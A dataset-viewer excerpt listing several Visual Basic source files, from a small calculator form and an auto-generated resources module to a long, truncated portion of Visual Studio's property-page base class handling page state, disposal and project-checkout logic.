Search is not available for this dataset
text
stringlengths
0
1.63M
 Public Class ElseIfTemplateModel Inherits ConditionTemplateModel Public Sub New() MyBase.New() Me.Header = "Else If" End Sub End Class
<Serializable()> Public Class EndNodes(Of NodeType) Public Sub New(node1 As NodeType, node2 As NodeType) Me.Node1 = node1 Me.Node2 = node2 End Sub Public Property Node1() As NodeType Public Property Node2() As NodeType End Class
Public Class Form1 Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click txthasil.Text = Val(TextBox1.Text) + (TextBox2.Text) End Sub Private Sub kurang_Click(sender As Object, e As EventArgs) Handles kurang.Click txthasil.Text = Val(TextBox1.Text) - (TextBox2.Text) End Sub Private Sub bagi_Click(sender As Object, e As EventArgs) Handles bagi.Click txthasil.Text = Val(TextBox1.Text) / (TextBox2.Text) End Sub Private Sub kali_Click(sender As Object, e As EventArgs) Handles kali.Click txthasil.Text = Val(TextBox1.Text) * (TextBox2.Text) End Sub Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click End End Sub Private Sub Label1_Click(sender As Object, e As EventArgs) Handles Label1.Click End Sub End Class
'------------------------------------------------------------------------------ ' <auto-generated> ' This code was generated by a tool. ' Runtime Version:4.0.30319.42000 ' ' Changes to this file may cause incorrect behavior and will be lost if ' the code is regenerated. ' </auto-generated> '------------------------------------------------------------------------------ Option Strict On Option Explicit On Namespace My.Resources 'This class was auto-generated by the StronglyTypedResourceBuilder 'class via a tool like ResGen or Visual Studio. 'To add or remove a member, edit your .ResX file then rerun ResGen 'with the /str option, or rebuild your VS project. '''<summary> ''' A strongly-typed resource class, for looking up localized strings, etc. '''</summary> <Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _ Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _ Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _ Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _ Friend Module Resources Private resourceMan As Global.System.Resources.ResourceManager Private resourceCulture As Global.System.Globalization.CultureInfo '''<summary> ''' Returns the cached ResourceManager instance used by this class. '''</summary> <Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _ Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager Get If Object.ReferenceEquals(resourceMan, Nothing) Then Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("HOLDENISWEIRD.Resources", GetType(Resources).Assembly) resourceMan = temp End If Return resourceMan End Get End Property '''<summary> ''' Overrides the current thread's CurrentUICulture property for all ''' resource lookups using this strongly typed resource class. '''</summary> <Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _ Friend Property Culture() As Global.System.Globalization.CultureInfo Get Return resourceCulture End Get Set(ByVal value As Global.System.Globalization.CultureInfo) resourceCulture = value End Set End Property End Module End Namespace
' Copyright (c) Microsoft Corporation. All Rights Reserved. See License.txt in the project root for license information. Imports Microsoft.VisualBasic Imports Microsoft.VisualStudio.ManagedInterfaces.ProjectDesigner Imports System Imports System.Diagnostics Imports System.ComponentModel.Design Imports System.IO Imports System.Windows.Forms Imports System.Drawing Imports System.Security Imports System.Security.Permissions Imports Microsoft.VisualStudio.Editors Imports Microsoft.VisualStudio.Editors.Interop Imports System.Runtime.InteropServices Imports System.Collections Imports System.Collections.Generic Imports System.Collections.Specialized Imports Microsoft.VisualStudio.Shell.Interop Imports System.ComponentModel Imports System.Windows.Forms.Design Imports Microsoft.VisualStudio.Shell Imports VB = Microsoft.VisualBasic Imports VSHelp = Microsoft.VisualStudio.VSHelp Namespace Microsoft.VisualStudio.Editors.PropertyPages ''' <summary> ''' Base class for managed property pages internal used in VisualStudio ''' </summary> ''' <remarks></remarks> <ComVisible(False)> _ Public Class PropPageUserControlBase Inherits System.Windows.Forms.UserControl Implements IPropertyPageInternal Implements IVsProjectDesignerPage Implements IVsDebuggerEvents Implements IVsBroadcastMessageEvents #Region " Windows Form Designer generated code " Dim m_UIShell5Service As Microsoft.VisualStudio.Shell.Interop.IVsUIShell5 Public Sub New() Me.New(Nothing) End Sub Protected Sub New(ByVal serviceProvider As Microsoft.VisualStudio.Shell.ServiceProvider) MyBase.New() Me.SuspendLayout() Me.Text = SR.GetString(SR.PPG_PropertyPageControlName) Me.AccessibleRole = System.Windows.Forms.AccessibleRole.PropertyPage Me.m_ServiceProvider = serviceProvider 'This call is required by the Windows Form Designer. InitializeComponent() Me.BackColor = PropPageBackColor 'Add any initialization after the InitializeComponent() call AddToRunningTable() Me.ResumeLayout(False) 'False: layout will happen later, not needed here End Sub 'Form overrides dispose to clean up the component list. Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean) 'Release unmanaged resources If disposing Then CleanupCOMReferences() If IsInProjectCheckoutSection Then 'It is possible for a source code checkout operation to cause a project reload (and thus the closing/disposal of ' the project designer and all property pages) during an attempt to change a property's value. It is difficult ' for WinForms to gracefully recover from the disposal of the property page and controls in the middle of any apply, ' so we delay the main Dispose() until after the apply is finished. 'We do go ahead and get rid of COM references and do general clean-up, though. This includes removing our ' listening to events from the environment, etc. 'We do *not* call in to the base's Dispose(), because that will get rid of the controls, and that's what we're ' trying to avoid right now. Trace.WriteLine("***** PropPageUserControlBase.Dispose(): Being forcibly deactivated during an checkout. Disposal of controls will be delayed until after the current callstack is finished.") m_ProjectReloadedDuringCheckout = True For Each page As PropPageUserControlBase In m_ChildPages.Values Dim HostDialog As PropPageHostDialog = GetPropPageHostDialog(page) ' Notify child pages that the project reloaded happened if they are ' listening for such a change If HostDialog IsNot Nothing AndAlso _ HostDialog.PropPage IsNot Nothing AndAlso _ HostDialog.PropPage.IsInProjectCheckoutSection Then HostDialog.PropPage.m_ProjectReloadedDuringCheckout = True End If Next page Else Debug.Assert(m_SuspendPropertyChangeListeningDispIds.Count = 0, "Missing a ResumePropertyChangeListening() call?") RemoveFromRunningTable() If Not (components Is Nothing) Then components.Dispose() End If 'Dispose all child pages. A child page normally stays open if an exception ' occurs during the OK button click, so we have to force it closed. For Each page As PropPageUserControlBase In m_ChildPages.Values Dim HostDialog As PropPageHostDialog = GetPropPageHostDialog(page) If HostDialog IsNot Nothing Then If HostDialog.PropPage IsNot Nothing Then HostDialog.Dispose() End If HostDialog.Dispose() End If Next page m_ChildPages.Clear() MyBase.Dispose(disposing) End If 'If m_fIsApplying... End If 'If disposing... End Sub 'Required by the Windows Form Designer Private components As System.ComponentModel.IContainer 'NOTE: The following procedure is required by the Windows Form Designer 'It can be modified using the Windows Form Designer. 'Do not modify it using the code editor. <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent() Me.SuspendLayout() ' 'PropPageUserControlBase ' Me.Name = "PropPageUserControlBase" Me.Size = New System.Drawing.Size(528, 296) Me.AutoSize = False Me.ResumeLayout(False) Me.PerformLayout() End Sub #End Region ''' <summary> ''' Specifies the source or cause of a property change notification ''' </summary> ''' <remarks></remarks> Public Enum PropertyChangeSource Direct 'This property is being changed directly through a PropertyControlData on the page. Normally should be ignored, the UI will be updated automatically after the change. Indirect 'Change was caused indirectly when a PropertyControlData changed a separate property on the page. For instance, changing the StartupObject property causes the project system to modify several other properties. External 'The property was changed externally to the page (via another page or through the DTE or other separate UI), or else it was not changed through a PropertyControlData. End Enum 'Used for caching property change notification until after Apply is done Private Class PropertyChange Public DispId As Integer Public Source As PropertyChangeSource Public Sub New(ByVal DispId As Integer, ByVal Source As PropertyChangeSource) Me.DispId = DispId Me.Source = Source End Sub End Class 'True iff the property page is currently in initialization code Public m_fInsideInit As Boolean 'Property page is currently dirty Protected m_IsDirty As Boolean 'Backs the CanApplyNow property Private m_CanApplyNow As Boolean = True 'The site passed in to SetPageSite. May be Nothing if not currently sited. Private m_Site As IPropertyPageSiteInternal 'May be used by derived property pages to cache their PropertyControlData in their ControlData property override. ' Not used directly by the architecture, which should always make a get property call to ControlData. Protected m_ControlData As PropertyControlData() 'The set of objects that were passed in to SetObjects. These are the objects whose properties are displayed in the property page. ' NOTE: Normally you should *not* use this property directly, but rather should call RawPropertiesObjects from the ' associated PropertyControlData, as it may override the set of objects to use. Public m_Objects As Object() 'An array of (extended) property descriptor collections pulled from each of the objects passed in ' to SetObjects. Public m_ObjectsPropertyDescriptorsArray() As PropertyDescriptorCollection 'The set of extended objects based on the objects that were passed in to SetObjects. ' NOTE: Normally you should *not* use this property directly, but rather should call ExtendedPropertiesObjects from the ' associated PropertyControlData, as it may override the set of objects to use. Public m_ExtendedObjects As Object() 'The DTE object associated with the objects passed to SetObjects. If there is none, this is Nothing. Private m_DTE As EnvDTE.DTE 'The EnvDTE.Project object associated with the objects passed to SetObjects. If there is none, this is Nothing. Private m_DTEProject As EnvDTE.Project ' Hook up to build events so we can enable/disable the property ' page while building Private WithEvents m_buildEvents As EnvDTE.BuildEvents 'A collection of (extended) property descriptors which have been collected from the project itself. These ' properties were *not* passed in to us through SetObjects, and are not configuration-dependent. Some ' configuration-dependent pages need to display certain non-configuration properties, which can be ' found in this collection. Note that for a non-configuration page, this set of property descriptors ' will be the same as the set that was passed in to us through SetObjects. Public m_CommonPropertyDescriptors As PropertyDescriptorCollection 'The ProjectProperties object from a VSLangProj-based project (VB, C#, J#). Used for querying ' common project properties in these types of projects. Note that this object was *not* passed ' in through SetObjects, rather we obtained it by querying for the project. It is used ' for common property handling. See comments for m_CommonPropertyDescriptors. Private m_ProjectPropertiesObject As VSLangProj.ProjectProperties 'Cached result from RawPropertiesObjectsOfAllProperties Private m_CachedRawPropertiesSuperset As Object() Private m_ServiceProvider As Microsoft.VisualStudio.Shell.ServiceProvider 'Cached service provider Private m_ProjectHierarchy As IVsHierarchy 'The IVsHierarchy for the current project 'Debug mode stuff Private m_CurrentDebugMode As Shell.Interop.DBGMODE ' Cached IVsDebugger from shell in case we don't have a service provider at ' shutdown so we can undo our event handler Private m_VsDebugger As IVsDebugger Private m_VsDebuggerEventsCookie As UInteger 'True iff multiple projects are currently selected Private m_MultiProjectSelect As Boolean Private m_UIShellService As IVsUIShell Private m_UIShell2Service As IVsUIShell2 Private Shared RunningPropertyPages As New ArrayList 'Child property pages that have been shown are cached here Private m_ChildPages As New Dictionary(Of Type, PropPageUserControlBase) Protected m_ScalingCompleted As Boolean Private m_PageRequiresScaling As Boolean = True ' When true, the dialog is not scaled automatically ' Currently only used by the Publish page because it isn't a normal page Private m_ManualPageScaling As Boolean = False 'Backcolor for all property pages Public Shared ReadOnly PropPageBackColor As Color = System.Drawing.SystemColors.Control Private m_activated As Boolean = True Private m_inDelayValidation As Boolean 'Saves whether the page should be enabled or disabled, according to the page's subclass. ' However, this state is only honored while the project is not running, etc. Private m_PageEnabledState As Boolean = True 'A list of all connected property listeners Private m_PropertyListeners As New ArrayList '(Of PropertyListener) 'Whether the page should be enabled based only on the debug state of the application Private m_PageEnabledPerDebugMode As Boolean = True 'Whether the page should be enabled based on if we are building or not Private m_PageEnabledPerBuildMode As Boolean = True 'True iff this property page is configuration-specific (like the compile page) instead of ' configuration-independent (like the application pages) Private m_fConfigurationSpecificPage As Boolean 'Dispids which the page is changing manually, and which are to be ignored while listening for ' property changes Private m_SuspendPropertyChangeListeningDispIds As New List(Of Integer) 'DISPID_UNKNOWN Public DISPID_UNKNOWN As Integer = Interop.win.DISPID_UNKNOWN 'Cookie for use with IVsShell.{Advise,Unadvise}BroadcastMessages Private m_CookieBroadcastMessages As UInteger Private m_VsShellForUnadvisingBroadcastMessages As IVsShell 'True if we're in the middle of an Apply Private m_fIsApplying As Boolean 'A list of properties from which we received a property change notification ' while another property on the page while being changed or an apply was ' in progress. They will be sent off after the change/apply is done. Private m_CachedPropertyChanges As List(Of PropertyChange) 'True if the property page was forcibly closed (by SCC) during an apply. In this case, we want to ' delay disposing our controls, and exit the apply and events as soon as possible to avoid possible ' problems since the project may have been closed down from under us. Private m_ProjectReloadedDuringCheckout As Boolean 'When positive, the property page is in a project checkout section, which means that the project ' file might get checked out, which means that it is possible the checkout will cause a reload ' of the project. Private m_CheckoutSectionCount As Integer ''' <summary> ''' Return a set of control groups. We validate the editing inside a control group when the focus moves out of it. ''' There is one exception: the delay validation only works for warning messages, fatal errors are still reported immediately when the change is applied ''' </summary> ''' <remarks>Only pages supporting delay-validation need return value</remarks> Protected Overridable ReadOnly Property ValidationControlGroups() As Control()() Get Return Nothing End Get End Property Public ReadOnly Property ProjectHierarchy() As IVsHierarchy Get Return m_ProjectHierarchy End Get End Property ''' <summary> ''' Determines if the page should be scaled automatically. ''' WARNING: It is recommended to turn this off and use AutoScaleMode.Font. ''' </summary> ''' <value>True if the page should not be scaled automatically</value> ''' <remarks></remarks> Protected Property PageRequiresScaling() As Boolean 'CONSIDER: This should be opt-in, not opt-out Get Return m_PageRequiresScaling End Get Set(ByVal Value As Boolean) m_PageRequiresScaling = Value End Set End Property ''' <summary> ''' Determines if the page should be scaled in SetObjects. ''' </summary> ''' <value>true if the page should not be scaled</value> ''' <remarks>Used only by the Publish page for now</remarks> Protected Property ManualPageScaling() As Boolean Get Return m_ManualPageScaling End Get Set(ByVal value As Boolean) m_ManualPageScaling = value End Set End Property ''' <summary> ''' Return true if the page can be resized... ''' </summary> Public Overridable ReadOnly Property PageResizable() As Boolean Get Return False End Get End Property ''' <summary> ''' Determines whether the property page is enabled or not. However, it also takes into ''' consideration other states (e.g., whether the application is running or in break mode), ''' and keeps the page disabled during break mode. Once the app stops, the page is set ''' to the state requested here. ''' </summary> ''' <remarks></remarks> Protected Shadows Property Enabled() As Boolean Get Return m_PageEnabledState End Get Set(ByVal value As Boolean) m_PageEnabledState = value SetEnabledState() End Set End Property ''' <summary> ''' Determines whether the property page is activated ''' </summary> ''' <remarks></remarks> Protected ReadOnly Property IsActivated() As Boolean Get Return m_activated End Get End Property ''' <summary> ''' Sets whether the page is actually enabled or disabled, based on the protected Enabled ''' property plus internal state, such as whether the project is in run mode. ''' </summary> ''' <remarks></remarks> Private Sub SetEnabledState() Dim ShouldBeEnabled As Boolean = m_PageEnabledState AndAlso m_PageEnabledPerDebugMode AndAlso m_PageEnabledPerBuildMode AndAlso m_Objects IsNot Nothing MyBase.Enabled = ShouldBeEnabled End Sub Private Sub AddToRunningTable() SyncLock RunningPropertyPages RunningPropertyPages.Add(Me) End SyncLock End Sub Private Sub RemoveFromRunningTable() SyncLock RunningPropertyPages RunningPropertyPages.Remove(Me) End SyncLock End Sub ''' <summary> ''' Enumerates the running property pages to find the requested property value. ''' </summary> ''' <param name="dispid">DISPID of property value being requested.</param> ''' <param name="obj">Value of property being requested.</param> ''' <returns>True if property value returned, False if property not found.</returns> ''' <remarks>If multiple pages host a property, this will return the first value found.</remarks> Protected Shared Function GetPropertyFromRunningPages(ByVal SourcePage As PropPageUserControlBase, ByVal dispid As Integer, ByRef obj As Object) As Boolean Debug.Assert(SourcePage.CommonPropertiesObject IsNot Nothing) SyncLock RunningPropertyPages For Each page As PropPageUserControlBase In RunningPropertyPages 'We must restrict the set of pages that we inspect to those running against the same project. ' Therefore we check for a match against CommonPropertiesObject. Note that checking against ' DTEProject is not okay because not all project types support that. If page.CommonPropertiesObject IsNot Nothing AndAlso page.CommonPropertiesObject Is SourcePage.CommonPropertiesObject Then If page.GetProperty(dispid, obj) Then Return True End If End If Next End SyncLock Return False End Function ''' <summary> ''' Returns the actual site (IPropertyPageSite, rather than IPropertyPageSiteInternal) for the property page ''' </summary> ''' <value></value> ''' <remarks></remarks> Protected ReadOnly Property PropertyPageSite() As OLE.Interop.IPropertyPageSite Get If m_Site IsNot Nothing Then Dim OleSite As OLE.Interop.IPropertyPageSite = _ DirectCast(m_Site.GetService(GetType(OLE.Interop.IPropertyPageSite)), OLE.Interop.IPropertyPageSite) Debug.Assert(OleSite IsNot Nothing, "IPropertyPageSiteInternal didn't provide an IPropertyPageSite through GetService") Return OleSite End If Return Nothing End Get End Property ''' <summary> ''' Does a GetService call via the property page site ''' </summary> ''' <value></value> ''' <remarks></remarks> Protected ReadOnly Property GetServiceFromPropertyPageSite(ByVal ServiceType As Type) As Object Get If m_Site IsNot Nothing Then Dim OleSite As OLE.Interop.IPropertyPageSite = PropertyPageSite Dim sp As IServiceProvider = TryCast(OleSite, IServiceProvider) Debug.Assert(sp IsNot Nothing, "Property page site didn't provide a managed service provider") If sp IsNot Nothing Then Return sp.GetService(ServiceType) End If End If Return Nothing End Get End Property ''' <summary> ''' Retrieves the object to be used for querying for "common" property values. The object ''' used may vary, depending on the project type and what it supports. ''' </summary> ''' <value></value> ''' <remarks> ''' See "About 'common' properties" in PropertyControlData for information on "common" properties. ''' </remarks> Public ReadOnly Property CommonPropertiesObject() As Object Get If m_ProjectPropertiesObject IsNot Nothing Then 'Used by VB, J#, C#-based projects Return m_ProjectPropertiesObject Else 'C++ projects. If m_DTEProject IsNot Nothing Then Debug.Assert(m_DTEProject.Object IsNot Nothing) Return m_DTEProject.Object Else Return Nothing 'This is possible if we've already been cleaned up End If End If End Get End Property ''' <summary> ''' Returns the raw set of objects in use by this property page. This will generally be the set of objects ''' passed in to the page through SetObjects. However, it may be modified by subclasses to contain a superset ''' or subset for special purposes. ''' </summary> ''' <remarks></remarks> Protected Function RawPropertiesObjects(ByVal Data As PropertyControlData) As Object() Return Data.RawPropertiesObjects End Function ''' <summary> ''' Returns the extended objects created from the raw set of objects in use by this property page. This will generally be ''' based on the set of objects passed in to the page through SetObjects. However, it may be modified by subclasses to ''' contain a superset or subset for special purposes. ''' </summary> ''' <remarks></remarks> Protected Function ExtendedPropertiesObjects(ByVal Data As PropertyControlData) As Object() Return Data.ExtendedPropertiesObjects End Function ''' <summary> ''' True iff this property page is configuration-specific (like the compile page) instead of ''' configuration-independent (like the application pages) ''' </summary> ''' <value></value> ''' <remarks></remarks> Public ReadOnly Property IsConfigurationSpecificPage() As Boolean Get Return m_fConfigurationSpecificPage End Get End Property ''' <summary> ''' Causes listening to property changes to be suspended until an equal number of ''' ResumePropertyChangeListening calls have been made ''' </summary> ''' <param name="DispId">The DISPID to ignore changes from. If DISPID_UNKNOWN, then all property changes will be ignored.</param> ''' <remarks></remarks> Public Sub SuspendPropertyChangeListening(ByVal DispId As Integer) m_SuspendPropertyChangeListeningDispIds.Add(DispId) End Sub ''' <summary> ''' Causes listening to property changes to be resumed after an equal number of ''' SuspendPropertyChangeListening/ResumeropertyChangeListening pairs have been made ''' </summary> ''' <remarks></remarks> Public Sub ResumePropertyChangeListening(ByVal DispId As Integer) m_SuspendPropertyChangeListeningDispIds.Remove(DispId) CheckPlayCachedPropertyChanges() End Sub ''' <summary> ''' Returns true if any property on the current page is currently being changed. ''' </summary> ''' <returns></returns> ''' <remarks></remarks> Private Function PropertyOnPageBeingChanged() As Boolean Return m_SuspendPropertyChangeListeningDispIds.Count > 0 End Function ''' <summary> ''' Gets the list of all raw properties objects from all properties hosted on this page ''' </summary> ''' <value></value> ''' <remarks> ''' This may be a superset of the objects passed in to SetObjects because some properties can override their ''' behavior and display a different set of objects. These are cached after the first call and not updated ''' again until another SetObjects call. ''' </remarks> Private ReadOnly Property RawPropertiesObjectsOfAllProperties() As Object() Get If m_CachedRawPropertiesSuperset Is Nothing Then If m_Objects Is Nothing Then Debug.Fail("m_Objects is nothing") Return New Object() {} End If Dim Superset As New Hashtable(m_Objects.Length) For Each Data As PropertyControlData In Me.ControlData Dim RawObjects As Object() = Data.RawPropertiesObjects Debug.Assert(RawObjects IsNot Nothing) If RawObjects IsNot Nothing Then For Each Obj As Object In RawObjects If Not Superset.ContainsKey(Obj) Then Superset.Add(Obj, Obj) End If Next End If Next ReDim m_CachedRawPropertiesSuperset(Superset.Count - 1) Superset.Values.CopyTo(m_CachedRawPropertiesSuperset, 0) End If Return m_CachedRawPropertiesSuperset End Get End Property ''' <summary> ''' Attempts to get a property's current value, without doing any type conversion. Returns ''' True on success and False if the property is not found. ''' </summary> ''' <param name="dispid">The property's DISPID to look up.</param> ''' <param name="obj">[out] Returns the property's value, if found.</param> ''' <returns>True on success and False if the property is not found.</returns> ''' <remarks></remarks> Protected Overridable Function GetProperty(ByVal dispid As Integer, ByRef obj As Object) As Boolean obj = Nothing For Each _controlData As PropertyControlData In ControlData If _controlData.DispId = dispid Then If _controlData.IsMissing Then Return False End If 'Debug.Assert(Not _controlData.IsConfigurationSpecificProperty) 'CONSIDER: probably convert this function into GetCommonProperty, we're okay if it's a common property (then there's only one extender to work with) - NOTE: we hit this on the C# build page when you check the XML Documentation File checkbox if the textbox is empty (querying for OutputPath) obj = _controlData.GetPropertyValueNative(m_ExtendedObjects(0)) 'CONSIDER: This is what we've been doing (passing in first extender object), but it looks wrong Return True End If Next Return False End Function ''' <summary> ''' Attempts to retrieve the current value of a property as currently stored in any page ''' in the project designer, even if that property has not yet been persisted (non-immediate ''' apply mode). It does this by first trying to locate the property in the PropertyControlData ''' of all other pages, then by checking if it's a common property, then finally by checking the ''' page's own PropertyControlData info. ''' </summary> ''' <param name="dispid">The DISPID of the property to search for</param> ''' <param name="PropertyName">The property name of the property to search for. Required for a common properties ''' look-up if this property is not defined as a PropertyControlData on the calling page. Otherwise it's optional.</param> ''' <param name="obj"></param> ''' <returns></returns> ''' <remarks> ''' The property name and DISPIDs must both refer to the same property. ''' </remarks> Protected Function GetCurrentProperty(ByVal dispid As Integer, ByVal PropertyName As String, ByRef obj As Object) As Boolean PropertyName = common.Utils.NothingToEmptyString(PropertyName) 'Nothing not allowed in GetCommonPropertyDescriptor() 'Check current property pages If GetPropertyFromRunningPages(Me, dispid, obj) Then #If DEBUG Then 'Since we don't know which source the property value will come from, let's ensure that enough ' information was given that it *could* come from any source. Otherwise the function may ' sometimes succeed (if it's found in an open property page) and sometimes not (when that other ' page isn't open). Dim IsCommonProperty As Boolean = (GetCommonPropertyDescriptor(PropertyName) IsNot Nothing) Dim IsPropertyOnThisPage As Boolean = False For Each _controlData As PropertyControlData In ControlData If _controlData.DispId = dispid Then Debug.Assert(Not _controlData.IsMissing, "How could this property get successfully retrieved from one page but be IsMissing in another?") Debug.Assert(_controlData.PropertyName.Equals(PropertyName, StringComparison.Ordinal), "GetCurrentProperty: PropertyName doesn't match DISPID") IsPropertyOnThisPage = True Exit For End If Next Debug.Assert(IsCommonProperty OrElse IsPropertyOnThisPage, _ "GetCurrentProperty: Property was found in an open page, so this time the function will succeed. However, the property was not " _ & "found as a common property or a property on this page, so the same query would fail if the other page were not open. This probably " _ & "indicates an error in the caller.") #End If 'Property value successfully retrieved Return True End If 'If it's not available on an open page, try the common properties Dim prop As PropertyDescriptor prop = GetCommonPropertyDescriptor(PropertyName) If prop IsNot Nothing Then obj = GetCommonPropertyValueNative(prop) Return True End If 'Try getting the value from a PropertyControlData on the current page. If GetProperty(dispid, obj) Then Return True End If Return False End Function ''' <summary> ''' Restore the control's current value from the InitialValue (used when the user cancels the dialog) ''' </summary> ''' <remarks></remarks> Public Overridable Sub RestoreInitialValues() Dim InsideInitSave As Boolean = m_fInsideInit m_fInsideInit = True Try For Each _controlData As PropertyControlData In ControlData _controlData.RestoreInitialValue() Next _controlData Finally m_fInsideInit = InsideInitSave 'Update current dirty state for the page IsDirty = IsAnyPropertyDirty() End Try End Sub ''' <summary> ''' Updates all properties so that they refresh their UI from the property ''' store's current values ''' </summary> ''' <remarks></remarks> Public Overridable Sub RefreshPropertyValues() Common.Switches.TracePDProperties(TraceLevel.Warning, "*** [" & Me.GetType.Name & "] Refreshing all property values") Dim InsideInitSave As Boolean = m_fInsideInit m_fInsideInit = True Try For Each Data As PropertyControlData In Me.ControlData Data.RefreshValue() Next Finally m_fInsideInit = InsideInitSave IsDirty = IsAnyPropertyDirty() End Try End Sub ''' <summary> ''' Indicates if the user has selected multiple projects in the Solution Explorer ''' </summary> ''' <value></value> ''' <remarks>When the user selects multiple projects, certain functionality is disabled</remarks> <DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)> _ Public ReadOnly Property MultiProjectSelect() As Boolean Get Return m_MultiProjectSelect End Get End Property ''' <summary> ''' ''' </summary> ''' <value></value> ''' <remarks></remarks> <DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)> _ Protected ReadOnly Property ServiceProvider() As Microsoft.VisualStudio.Shell.ServiceProvider Get If m_ServiceProvider Is Nothing Then Dim isp As Microsoft.VisualStudio.OLE.Interop.IServiceProvider = Nothing If m_Site IsNot Nothing Then isp = TryCast(m_Site.GetService(GetType(OLE.Interop.IServiceProvider)), OLE.Interop.IServiceProvider) End If If isp Is Nothing AndAlso DTE IsNot Nothing Then isp = TryCast(DTE, Microsoft.VisualStudio.OLE.Interop.IServiceProvider) End If If isp IsNot Nothing Then m_ServiceProvider = New Microsoft.VisualStudio.Shell.ServiceProvider(isp) End If End If Return m_ServiceProvider End Get End Property ''' <summary> ''' Returns the DTE object associated with the objects passed to SetObjects. If there is none, returns Nothing. ''' </summary> ''' <value></value> ''' <remarks></remarks> <DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)> _ Protected ReadOnly Property DTE() As EnvDTE.DTE Get Return m_DTE End Get End Property ''' <summary> ''' Returns the EnvDTE.Project object associated with the objects passed to SetObjects. If there is none, returns Nothing. ''' </summary> ''' <value></value> ''' <remarks></remarks> <DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)> _ Public ReadOnly Property DTEProject() As EnvDTE.Project Get Return m_DTEProject End Get End Property ''' <summary> ''' Returns the ProjectProperties object from a VSLangProj-based project (VB, C#, J#). Used for querying ''' common project properties in these types of projects. Should only be used if you are certain of the ''' project type. Otherwise, use CommonPropertiesObject. ''' </summary> ''' <value></value> ''' <remarks></remarks> <DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)> _ Public ReadOnly Property ProjectProperties() As VSLangProj.ProjectProperties Get Return m_ProjectPropertiesObject End Get End Property 'Enables or disables the given control on the page. However, if the control is associated with ' a property on the page, and that property is hidden or read-only, the enabled state of the control ' will not be changed. Protected Sub EnableControl(ByVal control As Control, ByVal enabled As Boolean) If control Is Nothing Then Debug.Fail("control is nothing") Return End If For Each pcd As PropertyControlData In Me.ControlData If pcd.FormControl Is control OrElse _ (pcd.AssociatedControls IsNot Nothing AndAlso Array.IndexOf(pcd.AssociatedControls, control) >= 0) Then 'The control is associated with this property control data pcd.EnableAssociatedControl(control, enabled) Return End If Next 'If it wasn't associated with a PropertyControlData, we can go ahead and enable/disable it directly control.Enabled = enabled End Sub #Region "Rude checkout support" ''' <summary> '''Before any code which may check out the project file, a property page must call this function. This ''' alerts the page to the fact that we might get an unexpected Dispose() during this period, and if so, ''' to interpret it as meaning that the project file was checked out and updated, causing a project ''' reload. ''' </summary> ''' <remarks></remarks> Protected Sub EnterProjectCheckoutSection() Debug.Assert(m_CheckoutSectionCount >= 0, "Bad m_CheckoutCriticalSectionCount count") m_CheckoutSectionCount = m_CheckoutSectionCount + 1 End Sub ''' <summary> '''After any code which may check out the project file, a property page must call this function. This ''' alerts the page to the fact that the code which might cause a project checkout is finished running. ''' If a Dispose occurred during the interval between the EnterProjectCheckoutSection and ''' LeaveProjectCheckoutSection calls, the disposal of the controls on the property page will be delayed ''' (but CleanUpCOMReferences *will* get called immediately) by via a PostMessage() call to allow ''' the property page to more easily recover from this situation. The flag ReloadedDuringCheckout ''' will be set to true. After the project file checkout is successful, derived property pages should ''' check this flag and exit as soon as possible if it is true. If it's true, the project file probably ''' has been zombied, and the latest changes to the page made by the user will be lost, so there will be ''' no need to attempt to save properties. ''' ''' Expected coding pattern: ''' ''' EnterProjectCheckoutSection() ''' Try ''' ... ''' CallMethodWhichMayCauseProjectFileCheckout ''' If ReloadedDuringCheckout Then ''' Return ''' End If ''' ... ''' Finally ''' LeaveProjectCheckoutSection() ''' End Try ''' </summary> ''' <remarks></remarks> Protected Sub LeaveProjectCheckoutSection() m_CheckoutSectionCount = m_CheckoutSectionCount - 1 Debug.Assert(m_CheckoutSectionCount >= 0, "Mismatched EnterProjectCheckoutSection/LeaveProjectCheckoutSection calls") If m_CheckoutSectionCount = 0 AndAlso m_ProjectReloadedDuringCheckout Then Try Trace.WriteLine("**** Deactivate happened during a checkout. Now that Apply is finished, queueing a delayed Dispose() call for the page.") If Not IsHandleCreated Then CreateHandle() End If Debug.Assert(IsHandleCreated AndAlso Not Handle.Equals(IntPtr.Zero), "We should have a handle still. Without it, BeginInvoke will fail.") BeginInvoke(New MethodInvoker(AddressOf DelayedDispose)) Catch ex As Exception ' At this point, all we can do is to avoid crashing the shell. Debug.Fail(String.Format("Failed to queue a delayed Dispose for the property page: {0}", ex)) End Try End If End Sub ''' <summary> ''' If true, the project has been reloaded between a call to EnterProjectCheckoutSection and ''' LeaveProjectCheckoutSection. See EnterProjectCheckoutSection() for more information. ''' </summary> ''' <value></value> ''' <returns></returns> ''' <remarks></remarks> Public ReadOnly Property ProjectReloadedDuringCheckout() As Boolean Get Return m_ProjectReloadedDuringCheckout End Get End Property ''' <summary> ''' If true, a call to EnterProjectCheckoutSection has been made, and the matching LeaveProjectCheckoutSection ''' call has not yet been made. ''' </summary> ''' <remarks></remarks> Protected ReadOnly Property IsInProjectCheckoutSection() As Boolean Get Return m_CheckoutSectionCount > 0 End Get End Property ''' <summary> ''' Called in a delayed fashion (via PostMessage) after a LeaveProjectCheckoutSection call if the ''' project was forcibly reloaded during the project checkout section. ''' </summary> ''' <remarks></remarks> Private Sub DelayedDispose() 'Set this flag back to false so that subclasses which override Dispose() know when it's ' safe to Dispose of their controls. m_ProjectReloadedDuringCheckout = False Dispose() End Sub ''' <summary> ''' Checks out the project file. After calling this function, the caller should check ''' the ProjectReloaded flag and exit if it's true. ''' </summary> ''' <remarks></remarks> Public Sub CheckoutProjectFile(ByRef ProjectReloaded As 